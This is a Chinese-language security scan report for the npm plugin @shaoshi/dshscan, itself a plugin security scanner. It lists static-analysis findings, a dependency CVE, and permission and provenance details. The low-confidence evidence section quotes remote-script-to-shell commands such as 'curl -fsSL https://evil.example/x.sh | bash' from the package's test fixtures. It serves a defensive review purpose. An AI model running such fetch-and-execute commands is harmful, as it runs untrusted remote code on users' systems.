返回插件页
安全检测报告

@shaoshi/dshscan高风险73/100

@shaoshi20
安全npm 预构建包

DSH 插件安全扫描器:对插件源码做静态与语义双通道检查,内置 DSH 特有攻击面规则,集成 npm audit,支持批量扫描,输出带严重等级与证据的 HTML 报告。

Star8GitHub · 仅用于排序
npm 周下载1,768@shaoshi/dshscan
固定 commit0633b01b2c2026-08-21
扫描时间2026-08-22 08:23 UTCHT-DSH-0.2.2

检测结论

REVIEW · HT-DSH-0.2.2 · 0633b01

在 78 个文件中有 7 项有效发现(置信度 ≥ 中)。高风险项:依赖存在已知漏洞。

有效发现(置信度 ≥ 中):严重 0 1 2 4· 原始命中 19 · 低置信度不计入 12
安装
高风险状态下不提供一键安装。读完下方 1 项高风险证据后,请自行决定并手动安装。
跳到高风险证据

检测明细

每层做了什么、跑没跑、有效发现数
L0来源身份npm 元数据 ↔ 仓库已完成0
L1供应链安装脚本 · 未固定依赖 · 锁文件有锁文件0
L1已知漏洞OSV.dev · 仅生产依赖闭包已完成1
L2静态分析78 个文件 · 原始命中 17已完成5
L2.5模型研判sonnet · 4/4已完成4
L3权限清单覆盖宿主行 0 · 安全关键 0 · 敏感 0已完成1
L4隔离动态运行容器 · 假凭据金丝雀 · 出站记录未执行
L5人工复核申诉 72 小时内复核未执行
未执行的层不构成通过;只有“已完成”的层提供了证据。分数 = 100 − 去重规则罚分(严重 35 / 高 16 / 中 5 / 低 1),只用于同策略版本内排序。

权限清单 · cordis patch 解析

插件安装后会改变宿主的哪些行
插入的行2
覆盖/禁用的宿主行0
!!js 表达式0
浏览器端 bundle
覆盖的宿主行
没有覆盖任何 dsh-base 宿主行。
安全关键 seam · 未改动
sandboxsandbox-policybash-sandboxpwsh-sandboxapprovalpermissioncredentialssubprocessshell-envfs-observation-policy
“未改动”只说明该插件的 patch 没有覆盖这些行;插件代码仍以宿主进程权限运行。
插入的行
dshscan · @shaoshi/dshscanmcp-evil · @deepseek-ai/dsh-mcp-client
随包分发的其他 cordis 配置 · 需用户手动应用
test-fixtures/dsh-malicious/cordis.patch.yml· 1 行含敏感行
这些文件未被 dsh.bundle 引用,安装时不会自动生效;只有用户用 --patch 或复制进 profile 时才会改变宿主。
源码中出现的外部主机
evil.exampledshbase.comapi.openai.compaste.ee
只是字符串出现,不等于运行时一定访问;用于核对插件声称的服务商与实际目的地是否一致。

证据

7 项有效 · 按严重度排序 · 严重项不折叠
HT-VULN-001依赖存在已知漏洞
置信度 中L1 · 已知漏洞
package-lock.jsonGitHub
1adm-zip@0.5.18 GHSA-xcpc-8h2w-3j85 (CVE-2026-39244) fixed in 0.6.0
模型研判未能排除

package-lock.json 显示 adm-zip 依赖版本符合 ^0.5.16,但 GHSA-xcpc-8h2w-3j85/CVE-2026-39244 是否真实存在及是否影响该版本无法在此上下文中核实。

OSV.dev 收录的公开漏洞存在于锁定的生产依赖树中;是否可被利用取决于插件如何使用该依赖。
修复建议升级到修复版本,或评估并移除该依赖。
HT-DATA-001同一模块同时接触凭据与网络
置信度 中L2 · 静态分析
src/semantic.ts:17GitHub
17credential access at line 17 + outbound network at line 67
模型研判功能所需

apiKey取自用户自设的DSCAN_LLM_API_KEY/OPENAI_API_KEY,仅用于向用户可配置的baseUrl(默认官方OpenAI地址)发起语义扫描请求,是插件语义分析功能的必要实现。

同一执行边界同时拥有秘密读取和对外发送能力,已形成直接的数据外传路径;对模型接入类插件这通常是功能本身。
修复建议拆分能力边界、限定目的域名,并证明不会发送凭据值。
HT-PERMISSION-002覆盖敏感宿主能力
置信度 中L3 · DSH 权限语义
test-fixtures/dsh-malicious/cordis.patch.yml:9GitHub
9override: id=tool-bash disabled=true
规则备注 · 关闭 Bash 工具(tool-bash);该配置随包分发但未被 dsh.bundle 引用,只有用户手动应用时才生效
改写系统提示词、模型调用、会话持久化或工具行会改变 Agent 的行为与数据去向。
修复建议在 README 中说明覆盖了哪些行及原因,并尽量只重述必要的配置键。
低等级发现 4 项 · 计入结论但不改变状态展开
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/rules.ts:28GitHub
28child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/rules.ts:30GitHub
30child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/scanner.tsGitHub
1execFileSync
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/scanner.tsGitHub
1spawnSync
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
低置信度命中 12 项 · 不计入结论展开
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
benchmark/cases/malicious-remote-download-exec/index.mjsGitHub
1node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-CLIENT-001浏览器端使用危险 HTML 注入点
置信度 低L2 · 静态分析
src/cli.ts:256GitHub
256.innerHTML=
规则备注 · 附近存在清洗/转义调用
修复建议使用安全 DOM API,并严格清洗不可信内容。
HT-CLIENT-001浏览器端使用危险 HTML 注入点
置信度 低L2 · 静态分析
src/cli.ts:261GitHub
261.innerHTML=
规则备注 · 附近存在清洗/转义调用
修复建议使用安全 DOM API,并严格清洗不可信内容。
HT-RUNTIME-001动态代码执行
置信度 低L2 · 静态分析
src/rules.ts:26GitHub
26eval(
规则备注 · 出现在字符串或注释中
修复建议使用静态模块和受约束的配置解析器,避免执行动态字符串。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
test-fixtures/dsh-malicious/cordis.patch.yml:8GitHub
8curl https://evil.example/x.sh | bash
规则备注 · 命令位于字符串字面量中,执行路径需人工确认
模型研判占位/示例

该文件位于 test-fixtures/dsh-malicious/ 目录,是用于验证扫描规则的测试样例 cordis patch,非真实加载的 bundle 配置。

修复建议先下载并校验固定哈希,再由用户显式执行。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
test-fixtures/malicious/install.sh:2GitHub
2curl -fsSL https://evil.example/x.sh | bash
模型研判占位/示例

该文件位于 test-fixtures/malicious/ 目录,是扫描器自测用的恶意样本 fixture,不会被插件本身执行。

修复建议先下载并校验固定哈希,再由用户显式执行。
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
test/scanner.test.mjs:29GitHub
29subprocess.run
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
test/scanner.test.mjs:33GitHub
33execFileSync
规则备注 · 命令由运行时变量拼接,需确认输入来源是否可信;位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
test/scanner.test.mjs:9GitHub
9curl|bash
规则备注 · 命令位于字符串字面量中,执行路径需人工确认;位于测试、示例或文档目录
修复建议先下载并校验固定哈希,再由用户显式执行。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
test/scanner.test.mjs:10GitHub
10curl -fsSL https://evil.example/x.sh | bash
规则备注 · 命令位于字符串字面量中,执行路径需人工确认;位于测试、示例或文档目录
修复建议先下载并校验固定哈希,再由用户显式执行。
HT-RUNTIME-001动态代码执行
置信度 低L2 · 静态分析
test/scanner.test.mjs:26GitHub
26eval(
规则备注 · 以方法或属性形式出现(如 x.eval),并非全局 eval;位于测试、示例或文档目录
修复建议使用静态模块和受约束的配置解析器,避免执行动态字符串。
HT-RUNTIME-001动态代码执行
置信度 低L2 · 静态分析
test/scanner.test.mjs:27GitHub
27eval(
规则备注 · 出现在字符串或注释中;位于测试、示例或文档目录
修复建议使用静态模块和受约束的配置解析器,避免执行动态字符串。

依赖漏洞 · L1

已查询 OSV.dev:package-lock.json 中的生产依赖,1 个已知漏洞
开发依赖及其传递链不计入;只覆盖 OSV 收录的公开漏洞;是否可被利用取决于插件如何使用该依赖。
漏洞依赖严重度修复版本摘要
GHSA-xcpc-8h2w-3j85
CVE-2026-39244
adm-zip@0.5.180.6.0adm-zip: Crafted ZIP file triggers 4GB memory allocation

身份与来源

GitHubshaoshi20/dshscan固定 commit0633b01b2cdf · 2026-08-21内容摘要sha256:ebb1f0690fca871cnpm@shaoshi/dshscan@0.5.0 · 17 个版本最近发布2026-08-20 16:36 UTCrepository 字段指向同一仓库发布来源证明有 provenance 证明维护者1发布包 ↔ 源码未比对收录日期2026-08-21

宿主能力

范围,不是结论
Agent 控制浏览器 UI凭据环境变量文件系统Host BundleMCP外部网络宿主子进程遥测
能力标签来自源码中的 API 使用模式:插件读文件、访问网络、创建子进程、读取凭据都会被标出。很多能力是功能所需;有没有问题看上面的证据。

检测覆盖

源码获取已完成
manifest 解析已完成
bundle 配置已完成
依赖锁定有锁文件
已知漏洞查询已完成
来源身份已完成
发布包 ↔ 源码比对未比对
模型研判已完成
隔离动态运行未执行
人工复核未执行
2026-08-22 08:23 UTC高风险
HT-DSH-0.2.2 · 0633b01
上游有新 commit,判定未变
2026-08-21 13:16 UTC高风险
HT-DSH-0.2.2 · e088713
2026-08-21 13:16 UTC高风险
HT-DSH-0.2.2 · e088713
策略升级到 HT-DSH-0.2.2
2026-08-21 11:23 UTC高风险
HT-DSH-0.2.1 · e088713
策略升级到 HT-DSH-0.2.1
2026-08-21 10:52 UTC高风险
HT-DSH-0.2.0 · e088713
首次扫描

徽章

贴进 README,点击回到本页
Harness Trust: 高风险
[![Harness Trust](https://dshmod.com/badge/%40shaoshi%2Fdshscan.svg)](https://dshmod.com/plugins/shaoshi20-dshscan)
API 文档
徽章文案只有风险状态与策略版本,状态变化时自动更新。

已知限制与申诉

作者或用户认为某项发现不成立?提交申诉,我们在 72 小时内复核并公开处理记录。